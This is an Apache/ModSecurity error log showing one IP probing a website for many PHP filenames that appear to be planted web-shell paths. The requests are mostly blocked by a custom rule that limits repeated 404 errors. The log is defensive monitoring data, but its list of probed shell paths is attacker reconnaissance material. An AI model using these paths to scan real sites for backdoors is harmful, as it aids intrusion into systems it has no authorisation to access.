[Sat Apr 11 02:41:01.251050 2026] [:error] [pid 21570:tid 21670] [client 4.245.205.135:44262] [client 4.245.205.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/no18.php"] [unique_id "adlEPTKs5t9xRSNL6cneNwAAAEQ"]
[Sat Apr 11 02:41:01.806329 2026] [:error] [pid 55451:tid 55456] [client 4.245.205.135:49656] [client 4.245.205.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/no18.php"] [unique_id "adlEPXApxuyB7yCS5RktuwAAAMM"]
[Sat Apr 11 02:41:03.475707 2026] [:error] [pid 21568:tid 21574] [client 4.245.205.135:35998] [client 4.245.205.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/no18.php"] [unique_id "adlEP4iz5v_ljZxkpR_ktAAAAQI"]
[Sat Apr 11 02:41:04.275890 2026] [:error] [pid 21569:tid 21660] [client 4.245.205.135:57347] [client 4.245.205.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/blqjs.php"] [unique_id "adlEQHAvQTgvXJ6vHoqvVwAAAI4"]
[Sat Apr 11 02:41:05.164918 2026] [:error] [pid 55451:tid 55477] [client 4.245.205.135:56675] [client 4.245.205.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/blqjs.php"] [unique_id "adlEQXApxuyB7yCS5RktzwAAANg"]
[Sat Apr 11 02:41:05.718615 2026] [:error] [pid 21706:tid 21719] [client 4.245.205.135:44286] [client 4.245.205.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/blqjs.php"] [unique_id "adlEQSGQ1M5d8fQSsLHTMgAAAAs"]
[Sat Apr 11 02:41:06.251609 2026] [:error] [pid 21570:tid 21675] [client 4.245.205.135:60256] [client 4.245.205.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/blqjs.php"] [unique_id "adlEQjKs5t9xRSNL6cneQwAAAEc"]
[Sat Apr 11 02:41:06.861929 2026] [:error] [pid 21706:tid 21713] [client 4.245.205.135:62112] [client 4.245.205.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/sk25_1.php"] [unique_id "adlEQiGQ1M5d8fQSsLHTNwAAAAU"]
[Sat Apr 11 02:41:07.490250 2026] [:error] [pid 55451:tid 55466] [client 4.245.205.135:63448] [client 4.245.205.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/sk25_1.php"] [unique_id "adlEQ3ApxuyB7yCS5Rkt2wAAAM0"]
[Sat Apr 11 02:41:08.118122 2026] [:error] [pid 21569:tid 21676] [client 4.245.205.135:62085] [client 4.245.205.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/sk25_1.php"] [unique_id "adlERHAvQTgvXJ6vHoqvZAAAAJU"]
[Sat Apr 11 02:41:08.728462 2026] [:error] [pid 21569:tid 21683] [client 4.245.205.135:43483] [client 4.245.205.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/sk25_1.php"] [unique_id "adlERHAvQTgvXJ6vHoqvaAAAAJg"]
[Sat Apr 11 02:41:09.318805 2026] [:error] [pid 21569:tid 21662] [client 4.245.205.135:43456] [client 4.245.205.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/fetch.php"] [unique_id "adlERXAvQTgvXJ6vHoqvbAAAAI8"]
[Sat Apr 11 02:41:09.925960 2026] [:error] [pid 21569:tid 21651] [client 4.245.205.135:63471] [client 4.245.205.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/fetch.php"] [unique_id "adlERXAvQTgvXJ6vHoqvcAAAAIY"]
[Sat Apr 11 02:41:10.502602 2026] [:error] [pid 21568:tid 21578] [client 4.245.205.135:61520] [client 4.245.205.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/fetch.php"] [unique_id "adlERoiz5v_ljZxkpR_kyAAAAQY"]
[Sat Apr 11 02:41:11.105547 2026] [:error] [pid 55451:tid 55461] [client 4.245.205.135:52978] [client 4.245.205.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/fetch.php"] [unique_id "adlER3ApxuyB7yCS5Rkt7wAAAMg"]
[Sat Apr 11 02:41:11.663890 2026] [:error] [pid 21706:tid 21731] [client 4.245.205.135:62142] [client 4.245.205.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/eFpU3yHnriNNLtvdefault.php"] [unique_id "adlERyGQ1M5d8fQSsLHTTgAAABc"]
[Sat Apr 11 02:41:12.396929 2026] [:error] [pid 21570:tid 21677] [client 4.245.205.135:65261] [client 4.245.205.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/eFpU3yHnriNNLtvdefault.php"] [unique_id "adlESDKs5t9xRSNL6cneTAAAAEg"]
[Sat Apr 11 02:41:12.905763 2026] [:error] [pid 21568:tid 21593] [client 4.245.205.135:44257] [client 4.245.205.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/eFpU3yHnriNNLtvdefault.php"] [unique_id "adlESIiz5v_ljZxkpR_kzAAAARU"]
[Sat Apr 11 02:41:13.692402 2026] [:error] [pid 55451:tid 55457] [client 4.245.205.135:62101] [client 4.245.205.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/eFpU3yHnriNNLtvdefault.php"] [unique_id "adlESXApxuyB7yCS5Rkt_QAAAMQ"]
[Sat Apr 11 02:41:14.676713 2026] [:error] [pid 21568:tid 21589] [client 4.245.205.135:52965] [client 4.245.205.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/2nzyHnOkEg.php"] [unique_id "adlESoiz5v_ljZxkpR_k0wAAARE"]
[Sat Apr 11 02:41:15.468443 2026] [:error] [pid 55451:tid 55468] [client 4.245.205.135:57403] [client 4.245.205.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/2nzyHnOkEg.php"] [unique_id "adlES3ApxuyB7yCS5RkuAwAAAM8"]
[Sat Apr 11 02:41:17.007011 2026] [:error] [pid 55451:tid 55462] [client 4.245.205.135:43499] [client 4.245.205.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/2nzyHnOkEg.php"] [unique_id "adlETXApxuyB7yCS5RkuDAAAAMk"]
[Sat Apr 11 02:41:17.728956 2026] [:error] [pid 21706:tid 21725] [client 4.245.205.135:52938] [client 4.245.205.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/2nzyHnOkEg.php"] [unique_id "adlETSGQ1M5d8fQSsLHTaAAAABE"]
[Sat Apr 11 02:41:18.427103 2026] [:error] [pid 21569:tid 21657] [client 4.245.205.135:43503] [client 4.245.205.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/oircv.php"] [unique_id "adlETnAvQTgvXJ6vHoqvhwAAAIw"]
[Sat Apr 11 02:41:19.471471 2026] [:error] [pid 21706:tid 21728] [client 4.245.205.135:61515] [client 4.245.205.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/oircv.php"] [unique_id "adlETyGQ1M5d8fQSsLHTbQAAABQ"]
[Sat Apr 11 02:41:20.440328 2026] [:error] [pid 21706:tid 21715] [client 4.245.205.135:37262] [client 4.245.205.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/oircv.php"] [unique_id "adlEUCGQ1M5d8fQSsLHTcQAAAAc"]
[Sat Apr 11 02:41:20.988987 2026] [:error] [pid 55451:tid 55460] [client 4.245.205.135:44268] [client 4.245.205.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/oircv.php"] [unique_id "adlEUHApxuyB7yCS5RkuGwAAAMc"]
[Sat Apr 11 02:41:21.656481 2026] [:error] [pid 21706:tid 21717] [client 4.245.205.135:52960] [client 4.245.205.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/blnux.php"] [unique_id "adlEUSGQ1M5d8fQSsLHTdAAAAAk"]
[Sat Apr 11 02:41:22.312980 2026] [:error] [pid 21570:tid 21690] [client 4.245.205.135:57407] [client 4.245.205.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/blnux.php"] [unique_id "adlEUjKs5t9xRSNL6cneVgAAAFA"]
[Sat Apr 11 02:41:23.860840 2026] [:error] [pid 21570:tid 21698] [client 4.245.205.135:62143] [client 4.245.205.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/blnux.php"] [unique_id "adlEUzKs5t9xRSNL6cneWwAAAFg"]
[Sat Apr 11 02:41:24.384404 2026] [:error] [pid 21570:tid 21675] [client 4.245.205.135:62083] [client 4.245.205.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/blnux.php"] [unique_id "adlEVDKs5t9xRSNL6cneXwAAAEc"]
[Sat Apr 11 02:41:24.997058 2026] [:error] [pid 21570:tid 21695] [client 4.245.205.135:46340] [client 4.245.205.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/n3yUmQ6Q9xwQ8ocdefault.php"] [unique_id "adlEVDKs5t9xRSNL6cneZQAAAFU"]
[Sat Apr 11 02:41:25.920305 2026] [:error] [pid 21570:tid 21661] [client 4.245.205.135:61559] [client 4.245.205.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/n3yUmQ6Q9xwQ8ocdefault.php"] [unique_id "adlEVTKs5t9xRSNL6cneagAAAEA"]
[Sat Apr 11 02:41:26.542549 2026] [:error] [pid 21570:tid 21687] [client 4.245.205.135:52979] [client 4.245.205.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/n3yUmQ6Q9xwQ8ocdefault.php"] [unique_id "adlEVjKs5t9xRSNL6cnecQAAAE0"]
[Sat Apr 11 02:41:27.199149 2026] [:error] [pid 21706:tid 21717] [client 4.245.205.135:57401] [client 4.245.205.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/n3yUmQ6Q9xwQ8ocdefault.php"] [unique_id "adlEVyGQ1M5d8fQSsLHTggAAAAk"]
[Sat Apr 11 02:41:27.910038 2026] [:error] [pid 21568:tid 21588] [client 4.245.205.135:44264] [client 4.245.205.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/Spow_SRw.php"] [unique_id "adlEV4iz5v_ljZxkpR_lDgAAARA"]
[Sat Apr 11 02:41:28.426176 2026] [:error] [pid 21706:tid 21714] [client 4.245.205.135:53926] [client 4.245.205.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/Spow_SRw.php"] [unique_id "adlEWCGQ1M5d8fQSsLHTigAAAAY"]
[Sat Apr 11 02:41:29.018206 2026] [:error] [pid 55451:tid 55456] [client 4.245.205.135:56643] [client 4.245.205.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/Spow_SRw.php"] [unique_id "adlEWXApxuyB7yCS5RkuOgAAAMM"]
[Sat Apr 11 02:41:29.672011 2026] [:error] [pid 55451:tid 55455] [client 4.245.205.135:52947] [client 4.245.205.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/Spow_SRw.php"] [unique_id "adlEWXApxuyB7yCS5RkuQwAAAMI"]
[Sat Apr 11 02:41:30.302433 2026] [:error] [pid 21706:tid 21722] [client 4.245.205.135:57379] [client 4.245.205.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/albrt.php"] [unique_id "adlEWiGQ1M5d8fQSsLHTjQAAAA4"]
[Sat Apr 11 02:41:30.963477 2026] [:error] [pid 21570:tid 21685] [client 4.245.205.135:52987] [client 4.245.205.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/albrt.php"] [unique_id "adlEWjKs5t9xRSNL6cnedAAAAEw"]
[Sat Apr 11 02:41:31.667068 2026] [:error] [pid 21568:tid 21579] [client 4.245.205.135:62087] [client 4.245.205.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/albrt.php"] [unique_id "adlEW4iz5v_ljZxkpR_lGwAAAQc"]
[Sat Apr 11 02:41:32.697809 2026] [:error] [pid 21706:tid 21713] [client 4.245.205.135:57377] [client 4.245.205.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/albrt.php"] [unique_id "adlEXCGQ1M5d8fQSsLHTmAAAAAU"]
[Sat Apr 11 02:41:33.275086 2026] [:error] [pid 21568:tid 21583] [client 4.245.205.135:62082] File does not exist: /usr/local/apache/htdocs/suspended-page/xxivicLhot.php
[Sat Apr 11 02:41:33.723664 2026] [:error] [pid 21568:tid 21586] [client 4.245.205.135:62082] File does not exist: /usr/local/apache/htdocs/suspended-page/7logs.php
[Sat Apr 11 02:41:34.025469 2026] [:error] [pid 21568:tid 21584] [client 4.245.205.135:62082] File does not exist: /usr/local/apache/htdocs/suspended-page/acc.php
[Sat Apr 11 02:41:34.275066 2026] [:error] [pid 21568:tid 21575] [client 4.245.205.135:62082] File does not exist: /usr/local/apache/htdocs/suspended-page/wxeyc.php
[Sat Apr 11 02:41:34.822645 2026] [:error] [pid 21568:tid 21592] [client 4.245.205.135:62082] File does not exist: /usr/local/apache/htdocs/suspended-page/xltt.php
[Sat Apr 11 02:41:35.072842 2026] [:error] [pid 21568:tid 21588] [client 4.245.205.135:62082] File does not exist: /usr/local/apache/htdocs/suspended-page/bthil.php
[Sat Apr 11 02:41:35.323779 2026] [:error] [pid 21568:tid 21587] [client 4.245.205.135:62082] File does not exist: /usr/local/apache/htdocs/suspended-page/fyflv.php
[Sat Apr 11 02:41:35.574039 2026] [:error] [pid 21568:tid 21581] [client 4.245.205.135:62082] File does not exist: /usr/local/apache/htdocs/suspended-page/zc-942.php
[Sat Apr 11 02:41:35.834968 2026] [:error] [pid 21568:tid 21579] [client 4.245.205.135:62082] File does not exist: /usr/local/apache/htdocs/suspended-page/sde.php
[Sat Apr 11 02:41:36.146735 2026] [:error] [pid 21568:tid 21590] [client 4.245.205.135:62082] File does not exist: /usr/local/apache/htdocs/suspended-page/wpb.php
[Sat Apr 11 02:41:36.395351 2026] [:error] [pid 21568:tid 21591] [client 4.245.205.135:62082] File does not exist: /usr/local/apache/htdocs/suspended-page/Geforce.php
[Sat Apr 11 02:41:36.679928 2026] [:error] [pid 21568:tid 21582] [client 4.245.205.135:62082] [client 4.245.205.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/9EaklzMysJ.php"] [unique_id "adlEYIiz5v_ljZxkpR_lNwAAAQo"]
[Sat Apr 11 02:41:37.252161 2026] [:error] [pid 21706:tid 21713] [client 4.245.205.135:53888] [client 4.245.205.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/9EaklzMysJ.php"] [unique_id "adlEYSGQ1M5d8fQSsLHTsAAAAAU"]
[Sat Apr 11 02:41:37.850704 2026] [:error] [pid 21706:tid 21726] [client 4.245.205.135:62136] [client 4.245.205.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/9EaklzMysJ.php"] [unique_id "adlEYSGQ1M5d8fQSsLHTtQAAABI"]
[Sat Apr 11 02:41:38.710510 2026] [:error] [pid 21706:tid 21714] [client 4.245.205.135:60841] [client 4.245.205.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/9EaklzMysJ.php"] [unique_id "adlEYiGQ1M5d8fQSsLHTwQAAAAY"]
[Sat Apr 11 02:41:39.317440 2026] [:error] [pid 21706:tid 21711] [client 4.245.205.135:60287] [client 4.245.205.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wpxl.php"] [unique_id "adlEYyGQ1M5d8fQSsLHTwwAAAAM"]
[Sat Apr 11 02:41:40.640299 2026] [:error] [pid 21706:tid 21712] [client 4.245.205.135:61511] [client 4.245.205.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wpxl.php"] [unique_id "adlEZCGQ1M5d8fQSsLHTzAAAAAQ"]
[Sat Apr 11 02:41:41.203192 2026] [:error] [pid 21568:tid 21582] [client 4.245.205.135:37300] [client 4.245.205.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wpxl.php"] [unique_id "adlEZYiz5v_ljZxkpR_lRQAAAQo"]
[Sat Apr 11 02:41:42.710633 2026] [:error] [pid 21706:tid 21709] [client 4.245.205.135:61567] [client 4.245.205.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wpxl.php"] [unique_id "adlEZiGQ1M5d8fQSsLHT2gAAAAE"]
